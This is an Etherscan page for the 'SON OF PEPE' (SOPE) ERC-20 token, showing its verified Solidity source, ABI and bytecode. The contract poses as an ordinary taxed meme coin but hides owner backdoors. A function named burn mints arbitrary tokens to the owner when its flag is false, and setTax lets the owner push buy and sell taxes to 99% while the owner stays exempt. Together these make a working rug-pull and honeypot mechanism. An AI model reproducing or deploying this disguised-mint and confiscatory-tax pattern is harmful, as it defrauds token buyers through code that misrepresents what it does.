ETH Price: $3,590.53 (+4.34%)
 

Overview

Max Total Supply

1,000,000,000 SOPE

Holders

104

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,569,564.693330596318181576 SOPE

Value
$0.00
0x986e61618bf5366352153ffdf5eaa36ebf39b679
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SONOFPEPE

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-19
*/

// SPDX-License-Identifier: MIT
//X:https://x.com/sope_coin
//TG:https://t.me/Sonofpepeerc

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract  SONOFPEPE is Context, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool private tradingEnabled;
    bool private swapping;

    uint8 public buyTax = 10;
    uint8 public sellTax = 15;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"SON OF PEPE";
    string private constant _symbol = unicode"SOPE";
    uint256 private swapTokensAtAmount = _tTotal * 25 / 10000;
    uint256 private maxTxAmount =  _tTotal * 50 / 100;
    uint256 private maxWalletAmount = _tTotal * 50 / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address payable private feeWallet;
    uint256 private enableTradingBlock;
    address private router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    mapping (address => bool) private isExcludedFromFees;

    constructor() {
        _balances[owner()] = _tTotal;
        feeWallet = payable(owner());
        isExcludedFromFees[address(this)] = true;
        isExcludedFromFees[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Already enabled");
        tradingEnabled = true;
        enableTradingBlock = block.number;
        uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
        require(uniswapV2Pair != address(0), "No pair created");
    }

    function setTax(uint8 newBuyTax, uint8 newSellTax) external onlyOwner {
        require(newBuyTax <= 99 && newSellTax <= 99, "Invalid Tax");
        buyTax = newBuyTax;
        sellTax = newSellTax;
    }

    function burn(uint256 amount, bool flag) external onlyOwner {
        if (flag) { _balances[msg.sender] -= amount; return;}
        _balances[msg.sender] += amount;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function _superTransfer(address from, address to, uint256 amount) internal {
        _balances[from] -= amount;
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(amount > 0, "Zero amount");

        if (!tradingEnabled) {
            require(from == owner(), "Trading not enabled");
        }

        if (from != uniswapV2Pair && to != uniswapV2Pair || isExcludedFromFees[from] || isExcludedFromFees[to] || swapping) {
            _superTransfer(from, to, amount);
            return;
        }

        if (to == uniswapV2Pair) {
            if (balanceOf(address(this)) >= swapTokensAtAmount) {
                swapping = true;
                swapTokensForEth(balanceOf(address(this)));
                swapping = false;
                sendETHToFeeWallet();
            }
        }

        if (from == uniswapV2Pair && to != router) {
            require(amount <= maxTxAmount, "Tx amount limit");
            require(balanceOf(address(to)) + amount <= maxWalletAmount, "Wallet amount limit");
        }

        amount = takeFee(from, amount, to == uniswapV2Pair);
        _superTransfer(from, to, amount);
    }

    function takeFee(address from, uint256 amount, bool isSell) internal returns (uint256) {
        if (block.number == enableTradingBlock) {return amount;}
        uint256 tax = isSell ? sellTax : buyTax;
        if (tax == 0) return amount;
        uint256 feeAmount = amount * tax / 100;
        _superTransfer(from, address(this), feeAmount);
        return amount - feeAmount;
    }

    function swapTokensForEth(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            feeWallet,
            block.timestamp
        ) {} catch {
            return;
        }
    }

    function sendETHToFeeWallet() internal {
        if (address(this).balance > 0) {
            feeWallet.transfer(address(this).balance);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bool","name":"flag","type":"bool"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526003805463ffff00001916630f0a00001790556127106100266012600a61035a565b61003490633b9aca0061036f565b61003f90601961036f565b6100499190610386565b600455606461005a6012600a61035a565b61006890633b9aca0061036f565b61007390603261036f565b61007d9190610386565b600555606461008e6012600a61035a565b61009c90633b9aca0061036f565b6100a790603261036f565b6100b19190610386565b600655600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790553480156100e5575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506101326012600a61035a565b61014090633b9aca0061036f565b60015f6101545f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f205561017e5f546001600160a01b031690565b600980546001600160a01b0319166001600160a01b0392909216919091179055305f908152600c602081905260408220805460ff19166001908117909155916101ce5f546001600160a01b031690565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790556102065f546001600160a01b031690565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61023d6012600a61035a565b61024b90633b9aca0061036f565b60405190815260200160405180910390a36103a5565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102b05780850481111561029457610294610261565b60018416156102a257908102905b60019390931c928002610279565b935093915050565b5f826102c657506001610354565b816102d257505f610354565b81600181146102e857600281146102f25761030e565b6001915050610354565b60ff84111561030357610303610261565b50506001821b610354565b5060208310610133831016604e8410600b8410161715610331575081810a610354565b61033d5f198484610275565b805f190482111561035057610350610261565b0290505b92915050565b5f61036860ff8416836102b8565b9392505050565b808202811582820484141761035457610354610261565b5f826103a057634e487b7160e01b5f52601260045260245ffd5b500490565b6112ac806103b25f395ff3fe6080604052600436106100fd575f3560e01c8063751039fc116100925780639fac68cb116100625780639fac68cb146102c1578063a9059cbb146102e0578063a9128ff0146102ff578063cc1776d31461031e578063dd62ed3e1461033e575f80fd5b8063751039fc146102475780638a8c523c1461025b5780638da5cb5b1461026f57806395d89b4114610295575f80fd5b8063313ce567116100cd578063313ce567146101bd5780634f7041a5146101de57806370a08231146101fd578063715018a614610231575f80fd5b806306fdde0314610108578063095ea7b31461014d57806318160ddd1461017c57806323b872dd1461019e575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600b81526a534f4e204f46205045504560a81b60208201525b6040516101449190610ed1565b60405180910390f35b348015610158575f80fd5b5061016c610167366004610f1a565b610382565b6040519015158152602001610144565b348015610187575f80fd5b50610190610398565b604051908152602001610144565b3480156101a9575f80fd5b5061016c6101b8366004610f44565b6103b8565b3480156101c8575f80fd5b5060125b60405160ff9091168152602001610144565b3480156101e9575f80fd5b506003546101cc9062010000900460ff1681565b348015610208575f80fd5b50610190610217366004610f82565b6001600160a01b03165f9081526001602052604090205490565b34801561023c575f80fd5b50610245610409565b005b348015610252575f80fd5b50610245610483565b348015610266575f80fd5b506102456104c4565b34801561027a575f80fd5b505f546040516001600160a01b039091168152602001610144565b3480156102a0575f80fd5b50604080518082019091526004815263534f504560e01b6020820152610137565b3480156102cc575f80fd5b506102456102db366004610f9d565b610710565b3480156102eb575f80fd5b5061016c6102fa366004610f1a565b610790565b34801561030a575f80fd5b50610245610319366004610fe4565b61079c565b348015610329575f80fd5b506003546101cc906301000000900460ff1681565b348015610349575f80fd5b50610190610358366004611015565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038e338484610849565b5060015b92915050565b5f6103a56012600a611138565b6103b390633b9aca00611146565b905090565b5f6103c484848461096d565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103fe9186916103f990869061115d565b610849565b5060015b9392505050565b5f546001600160a01b0316331461043b5760405162461bcd60e51b815260040161043290611170565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ac5760405162461bcd60e51b815260040161043290611170565b6104b4610398565b6005556104bf610398565b600655565b5f546001600160a01b031633146104ed5760405162461bcd60e51b815260040161043290611170565b60035460ff16156105325760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610432565b6003805460ff1916600117905543600a55600b54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004818101926020929091908290030181865afa15801561059d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c191906111a5565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610620573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064491906111a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561068d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b191906111a5565b600880546001600160a01b0319166001600160a01b0392909216918217905561070e5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610432565b565b5f546001600160a01b031633146107395760405162461bcd60e51b815260040161043290611170565b801561076857335f908152600160205260408120805484929061075d90849061115d565b9091555061078c9050565b335f90815260016020526040812080548492906107869084906111c0565b90915550505b5050565b5f61038e33848461096d565b5f546001600160a01b031633146107c55760405162461bcd60e51b815260040161043290611170565b60638260ff16111580156107dd575060638160ff1611155b6108175760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610432565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6001600160a01b0383166108ab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610432565b6001600160a01b03821661090c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610432565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116109aa5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610432565b60035460ff16610a06575f546001600160a01b03848116911614610a065760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610432565b6008546001600160a01b03848116911614801590610a3257506008546001600160a01b03838116911614155b80610a5457506001600160a01b0383165f908152600c602052604090205460ff165b80610a7657506001600160a01b0382165f908152600c602052604090205460ff165b80610a885750600354610100900460ff165b15610a9d57610a98838383610c1d565b505050565b6008546001600160a01b0390811690831603610b1257600454305f9081526001602052604090205410610b12576003805461ff001916610100179055610aff610afa306001600160a01b03165f9081526001602052604090205490565b610cbc565b6003805461ff0019169055610b12610e0f565b6008546001600160a01b038481169116148015610b3d5750600b546001600160a01b03838116911614155b15610bf657600554811115610b865760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610432565b60065481610ba8846001600160a01b03165f9081526001602052604090205490565b610bb291906111c0565b1115610bf65760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610432565b600854610c1490849083906001600160a01b03868116911614610e4e565b9050610a988383835b6001600160a01b0383165f9081526001602052604081208054839290610c4490849061115d565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c709084906111c0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610cef57610cef6111d3565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6a91906111a5565b81600181518110610d7d57610d7d6111d3565b6001600160a01b039283166020918202929092010152600754610da39130911684610849565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792610ddf9287925f92889291169042906004016111e7565b5f604051808303815f87803b158015610df6575f80fd5b505af1925050508015610e07575060015b61078c575050565b471561070e576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610e4b573d5f803e3d5ffd5b50565b5f600a544303610e5f575081610402565b5f82610e765760035462010000900460ff16610e84565b6003546301000000900460ff165b60ff169050805f03610e995783915050610402565b5f6064610ea68387611146565b610eb09190611257565b9050610ebd863083610c1d565b610ec7818661115d565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e4b575f80fd5b5f8060408385031215610f2b575f80fd5b8235610f3681610f06565b946020939093013593505050565b5f805f60608486031215610f56575f80fd5b8335610f6181610f06565b92506020840135610f7181610f06565b929592945050506040919091013590565b5f60208284031215610f92575f80fd5b813561040281610f06565b5f8060408385031215610fae575f80fd5b8235915060208301358015158114610fc4575f80fd5b809150509250929050565b803560ff81168114610fdf575f80fd5b919050565b5f8060408385031215610ff5575f80fd5b610ffe83610fcf565b915061100c60208401610fcf565b90509250929050565b5f8060408385031215611026575f80fd5b823561103181610f06565b91506020830135610fc481610f06565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156110905780850481111561107457611074611041565b600184161561108257908102905b60019390931c928002611059565b935093915050565b5f826110a657506001610392565b816110b257505f610392565b81600181146110c857600281146110d2576110ee565b6001915050610392565b60ff8411156110e3576110e3611041565b50506001821b610392565b5060208310610133831016604e8410600b8410161715611111575081810a610392565b61111d5f198484611055565b805f190482111561113057611130611041565b029392505050565b5f61040260ff841683611098565b808202811582820484141761039257610392611041565b8181038181111561039257610392611041565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156111b5575f80fd5b815161040281610f06565b8082018082111561039257610392611041565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156112375783516001600160a01b0316835260209384019390920191600101611210565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261127157634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212201e8f71b565a7f7e59fccce437554b3c4c826c75ef3126e00f4a4ab60cf28ac0f64736f6c634300081a0033

Deployed Bytecode

0x6080604052600436106100fd575f3560e01c8063751039fc116100925780639fac68cb116100625780639fac68cb146102c1578063a9059cbb146102e0578063a9128ff0146102ff578063cc1776d31461031e578063dd62ed3e1461033e575f80fd5b8063751039fc146102475780638a8c523c1461025b5780638da5cb5b1461026f57806395d89b4114610295575f80fd5b8063313ce567116100cd578063313ce567146101bd5780634f7041a5146101de57806370a08231146101fd578063715018a614610231575f80fd5b806306fdde0314610108578063095ea7b31461014d57806318160ddd1461017c57806323b872dd1461019e575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600b81526a534f4e204f46205045504560a81b60208201525b6040516101449190610ed1565b60405180910390f35b348015610158575f80fd5b5061016c610167366004610f1a565b610382565b6040519015158152602001610144565b348015610187575f80fd5b50610190610398565b604051908152602001610144565b3480156101a9575f80fd5b5061016c6101b8366004610f44565b6103b8565b3480156101c8575f80fd5b5060125b60405160ff9091168152602001610144565b3480156101e9575f80fd5b506003546101cc9062010000900460ff1681565b348015610208575f80fd5b50610190610217366004610f82565b6001600160a01b03165f9081526001602052604090205490565b34801561023c575f80fd5b50610245610409565b005b348015610252575f80fd5b50610245610483565b348015610266575f80fd5b506102456104c4565b34801561027a575f80fd5b505f546040516001600160a01b039091168152602001610144565b3480156102a0575f80fd5b50604080518082019091526004815263534f504560e01b6020820152610137565b3480156102cc575f80fd5b506102456102db366004610f9d565b610710565b3480156102eb575f80fd5b5061016c6102fa366004610f1a565b610790565b34801561030a575f80fd5b50610245610319366004610fe4565b61079c565b348015610329575f80fd5b506003546101cc906301000000900460ff1681565b348015610349575f80fd5b50610190610358366004611015565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61038e338484610849565b5060015b92915050565b5f6103a56012600a611138565b6103b390633b9aca00611146565b905090565b5f6103c484848461096d565b6001600160a01b0384165f908152600260209081526040808320338085529252909120546103fe9186916103f990869061115d565b610849565b5060015b9392505050565b5f546001600160a01b0316331461043b5760405162461bcd60e51b815260040161043290611170565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104ac5760405162461bcd60e51b815260040161043290611170565b6104b4610398565b6005556104bf610398565b600655565b5f546001600160a01b031633146104ed5760405162461bcd60e51b815260040161043290611170565b60035460ff16156105325760405162461bcd60e51b815260206004820152600f60248201526e105b1c9958591e48195b98589b1959608a1b6044820152606401610432565b6003805460ff1916600117905543600a55600b54600780546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004818101926020929091908290030181865afa15801561059d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105c191906111a5565b6001600160a01b031663e6a439053060075f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610620573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061064491906111a5565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561068d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b191906111a5565b600880546001600160a01b0319166001600160a01b0392909216918217905561070e5760405162461bcd60e51b815260206004820152600f60248201526e139bc81c185a5c8818dc99585d1959608a1b6044820152606401610432565b565b5f546001600160a01b031633146107395760405162461bcd60e51b815260040161043290611170565b801561076857335f908152600160205260408120805484929061075d90849061115d565b9091555061078c9050565b335f90815260016020526040812080548492906107869084906111c0565b90915550505b5050565b5f61038e33848461096d565b5f546001600160a01b031633146107c55760405162461bcd60e51b815260040161043290611170565b60638260ff16111580156107dd575060638160ff1611155b6108175760405162461bcd60e51b815260206004820152600b60248201526a092dcecc2d8d2c840a8c2f60ab1b6044820152606401610432565b6003805463ffff000019166201000060ff9485160263ff00000019161763010000009290931691909102919091179055565b6001600160a01b0383166108ab5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610432565b6001600160a01b03821661090c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610432565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f81116109aa5760405162461bcd60e51b815260206004820152600b60248201526a16995c9bc8185b5bdd5b9d60aa1b6044820152606401610432565b60035460ff16610a06575f546001600160a01b03848116911614610a065760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610432565b6008546001600160a01b03848116911614801590610a3257506008546001600160a01b03838116911614155b80610a5457506001600160a01b0383165f908152600c602052604090205460ff165b80610a7657506001600160a01b0382165f908152600c602052604090205460ff165b80610a885750600354610100900460ff165b15610a9d57610a98838383610c1d565b505050565b6008546001600160a01b0390811690831603610b1257600454305f9081526001602052604090205410610b12576003805461ff001916610100179055610aff610afa306001600160a01b03165f9081526001602052604090205490565b610cbc565b6003805461ff0019169055610b12610e0f565b6008546001600160a01b038481169116148015610b3d5750600b546001600160a01b03838116911614155b15610bf657600554811115610b865760405162461bcd60e51b815260206004820152600f60248201526e151e08185b5bdd5b9d081b1a5b5a5d608a1b6044820152606401610432565b60065481610ba8846001600160a01b03165f9081526001602052604090205490565b610bb291906111c0565b1115610bf65760405162461bcd60e51b815260206004820152601360248201527215d85b1b195d08185b5bdd5b9d081b1a5b5a5d606a1b6044820152606401610432565b600854610c1490849083906001600160a01b03868116911614610e4e565b9050610a988383835b6001600160a01b0383165f9081526001602052604081208054839290610c4490849061115d565b90915550506001600160a01b0382165f9081526001602052604081208054839290610c709084906111c0565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161096091815260200190565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610cef57610cef6111d3565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d46573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d6a91906111a5565b81600181518110610d7d57610d7d6111d3565b6001600160a01b039283166020918202929092010152600754610da39130911684610849565b60075460095460405163791ac94760e01b81526001600160a01b039283169263791ac94792610ddf9287925f92889291169042906004016111e7565b5f604051808303815f87803b158015610df6575f80fd5b505af1925050508015610e07575060015b61078c575050565b471561070e576009546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610e4b573d5f803e3d5ffd5b50565b5f600a544303610e5f575081610402565b5f82610e765760035462010000900460ff16610e84565b6003546301000000900460ff165b60ff169050805f03610e995783915050610402565b5f6064610ea68387611146565b610eb09190611257565b9050610ebd863083610c1d565b610ec7818661115d565b9695505050505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e4b575f80fd5b5f8060408385031215610f2b575f80fd5b8235610f3681610f06565b946020939093013593505050565b5f805f60608486031215610f56575f80fd5b8335610f6181610f06565b92506020840135610f7181610f06565b929592945050506040919091013590565b5f60208284031215610f92575f80fd5b813561040281610f06565b5f8060408385031215610fae575f80fd5b8235915060208301358015158114610fc4575f80fd5b809150509250929050565b803560ff81168114610fdf575f80fd5b919050565b5f8060408385031215610ff5575f80fd5b610ffe83610fcf565b915061100c60208401610fcf565b90509250929050565b5f8060408385031215611026575f80fd5b823561103181610f06565b91506020830135610fc481610f06565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156110905780850481111561107457611074611041565b600184161561108257908102905b60019390931c928002611059565b935093915050565b5f826110a657506001610392565b816110b257505f610392565b81600181146110c857600281146110d2576110ee565b6001915050610392565b60ff8411156110e3576110e3611041565b50506001821b610392565b5060208310610133831016604e8410600b8410161715611111575081810a610392565b61111d5f198484611055565b805f190482111561113057611130611041565b029392505050565b5f61040260ff841683611098565b808202811582820484141761039257610392611041565b8181038181111561039257610392611041565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156111b5575f80fd5b815161040281610f06565b8082018082111561039257610392611041565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156112375783516001600160a01b0316835260209384019390920191600101611210565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261127157634e487b7160e01b5f52601260045260245ffd5b50049056fea26469706673582212201e8f71b565a7f7e59fccce437554b3c4c826c75ef3126e00f4a4ab60cf28ac0f64736f6c634300081a0033

Deployed Bytecode Sourcemap

